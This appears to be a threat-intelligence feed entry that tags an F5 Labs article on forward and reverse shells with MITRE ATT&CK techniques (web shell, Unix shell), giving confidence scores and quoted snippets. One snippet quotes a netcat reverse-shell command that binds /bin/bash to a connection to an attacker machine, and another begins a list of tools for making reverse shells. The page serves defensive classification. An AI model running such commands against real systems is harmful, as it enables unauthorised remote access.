TTPwire Vol. 1 · MITRE ATT&CK·Tagged

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F5 Labs

Forward and Reverse Shells

2023-09-15 · Read original ↗

ATT&CK techniques detected

3 predictions
T1505.003Web Shell
98%
“forward and reverse shells introduction once attackers have gained a foothold, perhaps by exploiting a remote code execution ( rce ) vulnerability, leveraging a file upload, or some other tactic to gain execution on the target, they may end up using a web shell, as we described i…”
T1059.004Unix Shell
91%
“tools they can use to create reverse shells, and it ’ s likely that at least one of these will be present on the target. reverse shells can be created with the following tools, among many others ( this list is not exhaustive ) : - bash - sh ( this will be present on every linux s…”
T1059.004Unix Shell
49%
“target “ nc 192. 168. 0. 2 80 - e / bin / bash ” the nc command will create a network connection from the webserver to the attacker machine and then connect the linux shell “ bash ” to this network connection. on the attacker machine, the listener on the attacker machine now is c…”

Summary

Learn how attackers use server initiated connections and other clever tricks to deliver shells to attackers, circumventing inbound firewalls and access controls.